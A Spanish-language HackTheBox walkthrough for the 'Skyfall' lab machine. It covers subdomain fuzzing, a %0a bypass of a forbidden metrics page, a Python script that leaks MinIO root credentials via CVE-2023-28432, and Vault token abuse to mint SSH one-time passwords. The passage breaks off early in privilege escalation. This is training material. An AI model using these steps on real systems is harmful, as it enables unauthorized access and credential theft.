Skyfall – HackTheBox Link to heading

  • OS: Windows
  • Difficulty / Dificultad: Insane /Insana
  • Platform / Plataforma: HackTheBox

‘Skyfall’ Avatar


Resumen Link to heading

“Skyfall” es una máquina de categoría Insana de la plataforma HackTheBox. La página está corriendo un servidor web el cual tiene un subdominio que podemos encontrar buscando subdominios por vhosting. La nueva página muestra un servicio de muestra, del cual somos capaces de acceder como un usuario invitado. Una vez dentro, somos capaces de acceder a un directorio prohibido inyectando un “null byte”. Dentro de este directorio encontramos un servicio de MinIO vulnerable a CVE-2023-28432, el cual nos permite ver credenciales para HashiCorp Value en un endpoint expuesto. Con esto somos capaces de encontrar keys para HashiCorp Value y loguear por SSH como un usuario. Ya dentro, este usuario puede correr un programa para abrir values de HashiCorp con sudo. El programa permite crear un archivo de en modo debug. Para poder leer este archivo debug es que creamos una pequeña montura en el sistema por medio de libfuse (FUSE), lo cual nos permite leer el archivo de debug y obtener credenciales como root.


User / Usuario Link to heading

Empezando con un scan con Nmap sólo muestra 2 puertos abiertos: 22 SSH y 80 HTTP

❯ sudo nmap -sVC -p22,80 10.10.11.254 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-19 18:31 -04
Nmap scan report for 10.10.11.254
Host is up (0.18s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 65:70:f7:12:47:07:3a:88:8e:27:e9:cb:44:5d:10:fb (ECDSA)
|_  256 74:48:33:07:b7:88:9d:32:0e:3b:ec:16:aa:b4:c8:fe (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Skyfall - Introducing Sky Storage!
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.12 seconds

Visitando http://10.10.11.254 muestra una simple página web:

Skyfall 1

Noto también, de la página web, que ésta indica un dominio: skyfall.htb. De manera que decido agregar este dominio a mi archivo /etc/hosts corriendo:

❯ echo '10.10.11.254 skyfall.htb' | sudo tee -a /etc/hosts

10.10.11.254 skyfall.htb

La página en sñi no muestra mucha información interesante fuera de promocionar un servicio para almacenar datos en la nube.

En este punto decido buscar por subdominios ya que el sitio web podría estar realizando vhosting. Para esto usamos la herramienta ffuf:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://skyfall.htb/ -H 'Host: FUZZ.skyfall.htb' -fs 20631

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://skyfall.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.skyfall.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 20631
________________________________________________

demo                    [Status: 302, Size: 217, Words: 23, Lines: 1, Duration: 608ms]
:: Progress: [4989/4989] :: Job [1/1] :: 246 req/sec :: Duration: [0:00:20] :: Errors: 0 ::

De donde encontramos un dominio: demo.skyfall.htb. Así que agrego este nuevo dominio a mi archivo /etc/hosts y ahora este archivo se ve como:

❯ cat /etc/hosts | tail -n 1

10.10.11.254 skyfall.htb demo.skyfall.htb

Visitando http://demo.skyfall.htb muestra un simple Demo de Sky Storage (el servicio descrito en la página principal).

Skyfall 2

Tal cual dice el sitio web, podemos utilizar las credenciales guest:guest para acceder a un servicio de demo. Una vez dentro, puedo ver un panel:

Skyfall 3

Luego de intentar muchas cosas, al lado izquierdo podemos ver la opción MinIO Metrics. Clickeando en esta opción redirige a http://demo.skyfall.htb/metrics, pero el sitio retorna 403 Forbidden (acceso prohibido). Reviso si podemos bypassear y revisar esta página utilizando ffuf. Para ello extraigo mi cookie de la sesión guest (en Firefox es simplemente Ctrl + Shift + I, vamos a Storage y extraemos el valor de la cookie de session) y corremos:

❯ ffuf -w /usr/share/seclists/Fuzzing/URI-hex.txt:FUZZ -u http://demo.skyfall.htb/metricsFUZZ -b 'session=.eJw<SNIP>kM' -fc 403

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://demo.skyfall.htb/metricsFUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/URI-hex.txt
 :: Header           : Cookie: session=.eJw<SNIP>kM
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 403
________________________________________________

%0a                     [Status: 200, Size: 44883, Words: 4191, Lines: 9, Duration: 299ms]
:: Progress: [256/256] :: Job [1/1] :: 122 req/sec :: Duration: [0:00:02] :: Errors: 0 ::

donde 'session=.eJw<SNIP>kM' es la cookie (que he acortado porque es bastante extensa) de la sesión de usuario guest.

Aparentemente, agregar un null byte bypassea la restricción y nos deja acceder al sitio prohibido. Si visito http://demo.skyfall.htb/metrics%0a desde mi navegador de internet funciona y ahora podemos ver su contenido:

Skyfall

De manera que estamos ante un servicio MinIO. Buscando por What is MinIO (¿qué es MinIO?), basados en su página oficial, tenemos:

Información
MinIO is a high-performance, S3 compatible object store. It is built for large scale AI/ML, data lake and database workloads. It is software-defined and runs on any cloud or on-premises infrastructure. MinIO is dual-licensed under open source GNU AGPL v3 and a commercial enterprise license.

Es decir, es un servicio para administrar y guardar data en la nube.

Aparentemente, el servicio de datos que se ofrecía en la página principal parece ser que usa MinIO.

Continuando con la inspección, al final de la página puedo ver algo:

Skyfall 5

Veo que el servicio está llamando al dominio prd23-s3-backend.skyfall.htb.

Por ende, agrego este nuevo dominio a mi archivo /etc/hosts:

❯ cat /etc/hosts | tail -n 1

10.10.11.254 skyfall.htb demo.skyfall.htb prd23-s3-backend.skyfall.htb

Buscando por vulnerabilidades recientes para MinIO, somos capaces de encontrar la vulnerabilidad catalogada como CVE-2023-28432, tal cual se describe en este repositorio de Github. En resumen, pueden haber algunas variables de entorno filtradas/leakeadas desde el endpoint /minio/bootstrap/v1/verify. Visitamos entonces http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify, interceptamos la petición con Burpsuite y cambiamos el método a POST:

Skyfall 6

o en un simple script de Python:

#!/usr/bin/python3

import requests
import sys


def make_request(url: str)->None:
    generic_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", 
                 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", 
                 "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Dnt": "1", 
                 "Upgrade-Insecure-Requests": "1", 
                 "Sec-Fetch-Dest": "document", 
                 "Sec-Fetch-Mode": "navigate", 
                 "Sec-Fetch-Site": "none", "Sec-Fetch-User": 
                 "?1", "Te": "trailers", 
                 "Connection": "close", 
                 "Content-Type": "application/x-www-form-urlencoded"}
    print(f"[*] Making request to {url!r}")
    r = requests.post(url, headers=generic_headers)
    if r.status_code != 200:
        print(f"[!] Invalid status code from response (HTTP code {r.status_code!r})")
        sys.exit(1)
    minio_root_user = r.json().get("MinioEnv", {}).get("MINIO_ROOT_USER")
    minio_root_password = r.json().get("MinioEnv", {}).get("MINIO_ROOT_PASSWORD")
    minio_secret_key = r.json().get("MinioEnv", {}).get("MINIO_ROOT_PASSWORD")
    print(f"[+] MINIO_ROOT_USER: {minio_root_user}")
    print(f"[+] MINIO_ROOT_PASSWORD: {minio_root_password}")
    return


def main()->None:
    url: str = "http://prd23-s3-backend.skyfall.htb:80/minio/bootstrap/v1/verify"
    make_request(url)


if __name__ == "__main__":
    main()

Corriendo el script nos retorna unas credenciales:

❯ python3 minio_leaked_data.py

[*] Making request to 'http://prd23-s3-backend.skyfall.htb:80/minio/bootstrap/v1/verify'
[+] MINIO_ROOT_USER: 5GrE1B2YGGyZzNHZaIww
[+] MINIO_ROOT_PASSWORD: GkpjkmiVmpFuL2d3oRx0

De manera que tenemos un usuario y contraseña.

Intento usar estas credenciales en la página, pero no funcionan.

Luego de una breve investigación, encuentro que existe el cliente de MinIO (MinIO client). El cual nos permite interactuar con el servicio a través de consola. Nos descargamos el binario para este servicio de esta página (descargando el binario mc para nuestra arquitectura de sistema operativo correspondiente) o descargándolo a través de consola con wget:

❯ wget https://dl.min.io/client/mc/release/linux-amd64/mc

--2024-05-19 19:58:16--  https://dl.min.io/client/mc/release/linux-amd64/mc
Resolving dl.min.io (dl.min.io)... 178.128.69.202, 138.68.11.125
Connecting to dl.min.io (dl.min.io)|178.128.69.202|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 26771608 (26M) [application/octet-stream]
Saving to: ‘mc’

mc                                         100%[=======================================================================================>]  25.53M   857KB/s    in 30s

❯ chmod +x ./mc

Revisando los comandos disponibles, tenemos:

❯ ./mc -h
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── (q)uit/esc
NAME:
  mc - MinIO Client for object storage and filesystems.

USAGE:
  mc [FLAGS] COMMAND [COMMAND FLAGS | -h] [ARGUMENTS...]

COMMANDS:
  alias      manage server credentials in configuration file
  admin      manage MinIO servers
  anonymous  manage anonymous access to buckets and objects
  batch      manage batch jobs
  cp         copy objects
  cat        display object contents
  diff       list differences in object name, size, and date between two buckets
  du         summarize disk usage recursively
  encrypt    manage bucket encryption config
  event      manage object notifications
  find       search for objects
  get        get s3 object to local
  head       display first 'n' lines of an object
  ilm        manage bucket lifecycle
  idp        manage MinIO IDentity Provider server configuration
  license    license related commands
  legalhold  manage legal hold for object(s)
  ls         list buckets and objects
  mb         make a bucket
  mv         move objects
  mirror     synchronize object(s) to a remote site
  od         measure single stream upload and download
  ping       perform liveness check
  pipe       stream STDIN to an object
  put        upload an object to a bucket
  quota      manage bucket quota
  rm         remove object(s)

Buscando en la documentación para este binario tenemos que correr lo siguiente para hacer un deploy en local:

mc alias set <alias> <endpoint> <access-key> <secret-key>

donde <alias> es el nombre que le daremos a la conexión, <endpoint> es la url del servicio MinIO, <access-key> es una llave de acceso o usuario, y <secret-key> es una llave secreta o contraseña.

Una vez agregada, podemos revisar todos los recursos corriendo:

mc ls --recursive --versions <alias>

En mi caso, le daré a la conexión el nombre de leaked y utilizaré las contraseñas filtradas de la vulnerabilidad del endpoint. Así, corremos:

❯ ./mc alias set leaked http://prd23-s3-backend.skyfall.htb/ 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0

mc: Configuration written to `/home/gunzf0x/.mc/config.json`. Please update your access credentials.
mc: Successfully created `/home/gunzf0x/.mc/share`.
mc: Initialized share uploads `/home/gunzf0x/.mc/share/uploads.json` file.
mc: Initialized share downloads `/home/gunzf0x/.mc/share/downloads.json` file.
Added `leaked` successfully.

Y podemos revisar su contenido:

❯ ./mc ls --recursive --versions leaked

[2023-11-08 01:59:15 -03]     0B askyy/
[2023-11-08 02:35:28 -03]  48KiB STANDARD bba1fcc2-331d-41d4-845b-0887152f19ec v1 PUT askyy/Welcome.pdf
[2023-11-09 18:37:25 -03] 2.5KiB STANDARD 25835695-5e73-4c13-82f7-30fd2da2cf61 v3 PUT askyy/home_backup.tar.gz
[2023-11-09 18:37:09 -03] 2.6KiB STANDARD 2b75346d-2a47-4203-ab09-3c9f878466b8 v2 PUT askyy/home_backup.tar.gz
[2023-11-09 18:36:30 -03] 1.2MiB STANDARD 3c498578-8dfe-43b7-b679-32a3fe42018f v1 PUT askyy/home_backup.tar.gz
[2023-11-08 01:58:56 -03]     0B btanner/
[2023-11-08 02:35:36 -03]  48KiB STANDARD null v1 PUT btanner/Welcome.pdf
[2023-11-08 01:58:33 -03]     0B emoneypenny/
[2023-11-08 02:35:56 -03]  48KiB STANDARD null v1 PUT emoneypenny/Welcome.pdf
[2023-11-08 01:58:22 -03]     0B gmallory/
[2023-11-08 02:36:02 -03]  48KiB STANDARD null v1 PUT gmallory/Welcome.pdf
[2023-11-07 21:08:01 -03]     0B guest/
[2023-11-07 21:08:05 -03]  48KiB STANDARD null v1 PUT guest/Welcome.pdf
[2023-11-08 01:59:05 -03]     0B jbond/
[2023-11-08 02:35:45 -03]  48KiB STANDARD null v1 PUT jbond/Welcome.pdf
[2023-11-08 01:58:10 -03]     0B omansfield/
[2023-11-08 02:36:09 -03]  48KiB STANDARD null v1 PUT omansfield/Welcome.pdf
[2023-11-08 01:58:45 -03]     0B rsilva/
[2023-11-08 02:35:51 -03]  48KiB STANDARD null v1 PUT rsilva/Welcome.pdf

donde puedo ver un archivo de respaldo llamado askyy/home_backup.tar

Ahora, podemos copiar archivos corriendo:

mc cp <path-inside-alias> <outfile-name> 

De manera que ejecuto:

❯ ./mc cp --recursive leaked/askyy/home_backup.tar.gz ./home_backup.tar.gz

...b/askyy/home_backup.tar.gz: 2.48 KiB / 2.48 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 1.97 KiB/s 1s

Extraigo el contenido del comprimido y noto que ahora tenemos algunos archivos:

❯ cd home_backup.tar.gz

❯ ls -la

total 12
drwxr-xr-x 2 gunzf0x gunzf0x 4096 May 19 20:19 .
drwxr-xr-x 3 gunzf0x gunzf0x 4096 May 19 20:20 ..
-rw-r--r-- 1 gunzf0x gunzf0x 2543 May 19 20:19 home_backup.tar.gz
❯ tar -xzvf home_backup.tar.gz

./
./.profile
./.bashrc
./.ssh/
./.ssh/authorized_keys
./.sudo_as_admin_successful
./.bash_history
./.bash_logout
./.cache/
./.cache/motd.legal-displayed

❯ ls -la

total 36
drwxr-x--- 4 gunzf0x gunzf0x 4096 Nov  9  2023 .
drwxr-xr-x 3 gunzf0x gunzf0x 4096 May 19 20:20 ..
-rw-r--r-- 1 gunzf0x gunzf0x    1 Nov  9  2023 .bash_history
-rw-r--r-- 1 gunzf0x gunzf0x  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 gunzf0x gunzf0x 3771 Nov  9  2023 .bashrc
drwx------ 2 gunzf0x gunzf0x 4096 Oct  9  2023 .cache
-rw-r--r-- 1 gunzf0x gunzf0x 2543 May 19 20:19 home_backup.tar.gz
-rw-r--r-- 1 gunzf0x gunzf0x  807 Jan  6  2022 .profile
drwx------ 2 gunzf0x gunzf0x 4096 Nov  9  2023 .ssh
-rw-r--r-- 1 gunzf0x gunzf0x    0 Oct  9  2023 .sudo_as_admin_successful

pero, tristemente, no hay nada interesante.

Ya en este punto muerto recuerdo que habían distintas versiones del archivo askyy/home_backup.tar.gz. Asumo que son diferentes “logs/tags” cuando hacemos cambios/realizamos un nuevo respaldo. Una de las versiones que se mostraban era 2b75346d-2a47-4203-ab09-3c9f878466b8 para el archivo comprimido de respaldo. De manera que descargamos específicamente esa versión usando la flag --vid:

❯ ./mc cp --vid 2b75346d-2a47-4203-ab09-3c9f878466b8 leaked/askyy/home_backup.tar.gz ./home_backup.tar.gz

...b/askyy/home_backup.tar.gz: 2.64 KiB / 2.64 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 2.39 KiB/s 1s

y vuelvo a extraer su contenido.

Si reviso los archivos descomprimidos de este archivo con distinta versión, noto que los archivos son muy similares (por no decir que son los mismos) al archivo de respaldo que habíamos descomprimido primeramente:

❯ ls -la

total 36
drwxr-x--- 4 gunzf0x gunzf0x 4096 Nov  9  2023 .
drwxr-xr-x 5 gunzf0x gunzf0x 4096 May 19 18:21 ..
-rw-r--r-- 1 gunzf0x gunzf0x    1 Nov  9  2023 .bash_history
-rw-r--r-- 1 gunzf0x gunzf0x  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 gunzf0x gunzf0x 3953 Nov  9  2023 .bashrc
drwx------ 2 gunzf0x gunzf0x 4096 Oct  9  2023 .cache
-rw-r--r-- 1 gunzf0x gunzf0x 2705 May 19 20:27 home_backup.tar.gz
-rw-r--r-- 1 gunzf0x gunzf0x  807 Jan  6  2022 .profile
drwx------ 2 gunzf0x gunzf0x 4096 Nov  9  2023 .ssh
-rw-r--r-- 1 gunzf0x gunzf0x    0 Oct  9  2023 .sudo_as_admin_successful

Sin embargo, el archivo .bashrc es ligeramente diferente:

❯ cat .bashrc

# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
<SNIP>
export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
<SNIP>

Donde encontramos una variable con el nombre VAULT_TOKEN y un nuevo dominio prd23-vault-internal.skyfall.htb.

Vuelvo a agregar este nuevo dominio a mi archivo /etc/hosts, de manera que ahora éste se ve como:

❯ cat /etc/hosts | tail -n 1

10.10.11.254 skyfall.htb demo.skyfall.htb prd23-s3-backend.skyfall.htb prd23-vault-internal.skyfall.htb

Buscando por esta variable VAULT_TOKEN, encontramos que ésta es usada para HashiCorp Vault:

Información
HashiCorp Vault is a powerful tool designed for securely managing secrets and protecting sensitive data. It is part of the HashiCorp suite of infrastructure management tools

Es decir, es un servicio para administrar y proteger data sensible.

Ya sabiendo esto, buscamos y descargamos el binario de HashiCorp Vault para Linux (compatible a la arquitectura de nuestra máquina de atacante) con wget:

❯ wget https://releases.hashicorp.com/vault/1.16.2/vault_1.16.2_linux_amd64.zip

--2024-05-19 20:38:13--  https://releases.hashicorp.com/vault/1.16.2/vault_1.16.2_linux_amd64.zip
Resolving releases.hashicorp.com (releases.hashicorp.com)... 3.162.221.26, 3.162.221.105, 3.162.221.48, ...
Connecting to releases.hashicorp.com (releases.hashicorp.com)|3.162.221.26|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 143229555 (137M) [application/zip]
Saving to: ‘vault_1.16.2_linux_amd64.zip’

vault_1.16.2_linux_amd64.zip               100%[=======================================================================================>] 136.59M  55.9MB/s    in 2.4s

Exportamos los valores hallados:

❯ export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"

❯ export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"

❯ export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"

y corremos el binario de HashiCorp Vault:

❯ ./vault login

Token (will be hidden): hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE
WARNING! The VAULT_TOKEN environment variable is set! The value of this
variable will take precedence; if this is unwanted please unset VAULT_TOKEN or
update its value accordingly.

Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.

Key                  Value
---                  -----
token                hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE
token_accessor       rByv1coOBC9ITZpzqbDtTUm8
token_duration       433388h16m12s
token_renewable      true
token_policies       ["default" "developers"]
identity_policies    []
policies             ["default" "developers"]

de donde, como token, simplemente he pasado el valor de la variable VAULT_TOKEN hallada.

Podemos entonces enumerar distintos roles siguiendo como referencia este post de StackOverflow para ver si hay roles para el servicio SSH (que, recordar, estaba activo en la máquina víctima):

❯ ./vault token capabilities ssh/roles

list

❯ ./vault list ssh/roles

Keys
----
admin_otp_key_role
dev_otp_key_role

donde encontramos 2 keys: admin_otp_key_role y dev_otp_key_role.

Asumiendo que estas credenciales pertenecen al usuario del que se extrajo el archivo de respaldo (llamado askyy), nos intentamos loguear con la key admin_otp_key_role a través de SSH. Pero esto no funcionó:

❯ ./vault ssh -role admin_otp_key_role -mode OTP -strict-host-key-checking=no askyy@10.10.11.254

failed to generate credential: failed to get credentials: Error making API request.

URL: PUT http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/admin_otp_key_role
Code: 403. Errors:

* 1 error occurred:
        * permission denied

Pero si usamos la key dev_otp_key_role, somos capaces de ingresar a través de SSH como el usuario askyy:

❯ ./vault ssh -role dev_otp_key_role -mode OTP -strict-host-key-checking=no askyy@10.10.11.254

Warning: Permanently added '10.10.11.254' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
askyy@skyfall:~$ whoami

askyy

Por fin podemos obtener la flag del usuario en el directorio home de askyy.

Antes de continuar, intentemos leer el contenido de dev_otp_key_role. Puede que (y pasará) más tarde necesitamos conectarnos por medio de SSH como el usuario askyy en múltiples sesiones/terminales. Intentar loguearnos 2 veces usando el binario de vault en 2 terminales distintas no es una opción ya que retornará un error de conexión.

Buscando cómo leer archivos key en HashiCorp Vault encontramos esta documentación explicando cómo hacerlo. Pero siguiendo las instrucciones de la página retorna un error:

❯ ./vault read ssh/creds/dev_otp_key_role

Error reading ssh/creds/dev_otp_key_role: Error making API request.

URL: GET http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/dev_otp_key_role
Code: 405. Errors:

* 1 error occurred:
        * unsupported operation

No tenemos permisos para leerla.

No obstante, investigando más encuentro que somos capaces de generar nuevas credenciales para SSH basados en esta documentación. Si tratamos de generar credenciales siguiendo las instrucciones, el server nos pide una dirección IP a postear:

❯ curl -s --request POST --header "X-Vault-Token: hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE" http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/dev_otp_key_role

{"errors":["Missing ip"]}

Si pasamos como data la dirección IP de la máquina víctima ahora obtenemos datos para el usuario nobody; un usuario que existe en el archivo /etc/passwd de la máquina víctima (y en muchos sistemas es un usuario que viene por defecto):

❯ curl -s --request POST --header "X-Vault-Token: hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE" http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/dev_otp_key_role -d '{"ip":"10.10.11.254"}' | jq

{
  "request_id": "39d8264b-c279-7b86-3605-1933b7c455af",
  "lease_id": "ssh/creds/dev_otp_key_role/Y7D1NrPXje3w6xRmGjygS3Fi",
  "renewable": false,
  "lease_duration": 2764800,
  "data": {
    "ip": "10.10.11.254",
    "key": "1c3be6fe-dd3f-26cf-7a95-572aaae479e9",
    "key_type": "otp",
    "port": 22,
    "username": "nobody"
  },
  "wrap_info": null,
  "warnings": null,
  "auth": null
}

Puedo ver un campo llamado “username”, podemos entonces hacer una petición para el usuario askyy (el cual ya hemos impersonado anteriormente):

❯ curl -s --request POST --header "X-Vault-Token: hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE" http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/dev_otp_key_role -d '{"ip":"10.10.11.254", "username":"askyy"}' | jq

{
  "request_id": "89eb700b-8467-0aea-6d4c-eaf51452fcd2",
  "lease_id": "ssh/creds/dev_otp_key_role/QG1uenKuKgVECQszJHwfnZFH",
  "renewable": false,
  "lease_duration": 2764800,
  "data": {
    "ip": "10.10.11.254",
    "key": "40bafb97-ebe2-c3c7-1a13-8f3cc1903a47",
    "key_type": "otp",
    "port": 22,
    "username": "askyy"
  },
  "wrap_info": null,
  "warnings": null,
  "auth": null
}

donde tenemos una key: 40bafb97-ebe2-c3c7-1a13-8f3cc1903a47 (esta key cambiará cada vez que corramos el commando).

Finalmente, si usamos esta key generada como la contraseña para intentar loguearnos por medio de SSH como el usuario askyy esto también funciona:

❯ ssh -o stricthostkeychecking=no askyy@10.10.11.254

(askyy@10.10.11.254) Password: 40bafb97-ebe2-c3c7-1a13-8f3cc1903a47
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sun Sep  1 00:49:19 2024 from 10.10.16.3
askyy@skyfall:~$

Root Link to heading

Revisando qué comandos puede este usuario correr con sudo, encontramos que podemos correr un par de comandos sin necesidad de proveer contraseña:

askyy@skyfall:~$ sudo -l

Matching Defaults entries for askyy on skyfall:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User askyy may run the following commands on skyfall:
    (ALL : ALL) NOPASSWD: /root/vault/vault-unseal ^-c /etc/vault-unseal.yaml -[vhd]+$
    (ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml

Revisando las opciones de este comando, tenemos:

askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -h

Usage:
  vault-unseal [OPTIONS]

Application Options:
  -v, --verbose        enable verbose output
  -d, --debug          enable debugging output to file (extra logging)
  -c, --config=PATH    path to configuration file

Help Options:
  -h, --help           Show this help message

Incluso si no podemos leer el script en sí ya que no tenemos permisos, podemos encontrar el repositorio de repositorio de Github de Vault Unseal el cual es, aparentemente, el mismo programa que podemos correr con sudo. Es un programa el cual se usa para abrir vaults de Hashicorp Vault.

La primera vez que entré en la máquina víctima, revisé qué archivos teníamos disponibles en /home/askyy para ver si había algo interesante:

askyy@skyfall:~$ ls -la

total 32
drwxr-x--- 4 askyy askyy 4096 Jan 22 14:46 .
drwxr-xr-x 3 root  root  4096 Jan 19 21:33 ..
lrwxrwxrwx 1 askyy askyy    9 Nov  9  2023 .bash_history -> /dev/null
-rw-r--r-- 1 askyy askyy  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 askyy askyy 3771 Nov  9  2023 .bashrc
drwx------ 2 askyy askyy 4096 Oct  9  2023 .cache
-rw-r--r-- 1 askyy askyy  807 Jan  6  2022 .profile
drwx------ 2 askyy askyy 4096 Jan 18 10:32 .ssh
-rw-r----- 1 root  askyy   33 May 19 22:17 user.txt

Pero luego de usar el comando con sudo, y proveyendo la flag opcional -d (de debugging), noto que se ha creado un archivo debug.log en el directorio actual de trabajo, del cual es propietario root:

askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd

[+] Reading: /etc/vault-unseal.yaml
[-] Security Risk!
[+] Found Vault node: http://prd23-vault-internal.skyfall.htb
[>] Check interval: 5s
[>] Max checks: 5
[>] Checking seal status
[+] Vault sealed: false

askyy@skyfall:~$ ls -la

total 36
drwxr-x--- 4 askyy askyy 4096 May 20 00:59 .
drwxr-xr-x 3 root  root  4096 Jan 19 21:33 ..
lrwxrwxrwx 1 askyy askyy    9 Nov  9  2023 .bash_history -> /dev/null
-rw-r--r-- 1 askyy askyy  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 askyy askyy 3771 Nov  9  2023 .bashrc
drwx------ 2 askyy askyy 4096 Oct  9  2023 .cache
-rw-r--r-- 1 askyy askyy  807 Jan  6  2022 .profile
drwx------ 2 askyy askyy 4096 Jan 18 10:32 .ssh
-rw------- 1 root  root   590 May 20 00:59 debug.log
-rw-r----- 1 root  askyy   33 May 19 22:17 user.txt

Y tal cual se vio antes, no tenemos permisos para leer este archivo:

askyy@skyfall:~$ cat debug.log

cat: debug.log: Permission denied

Una manera de leer esto es a través del sistema libfuse:

Información
libfuse provides the reference implementation for communicating with the FUSE kernel module. A FUSE file system is typically implemented as a standalone application that links with libfuse. libfuse provides functions to mount the file system, unmount it, read requests from the kernel, and send responses back.

En corto, es un sistema que nos permite realizar monturas a archivos de sistemas.

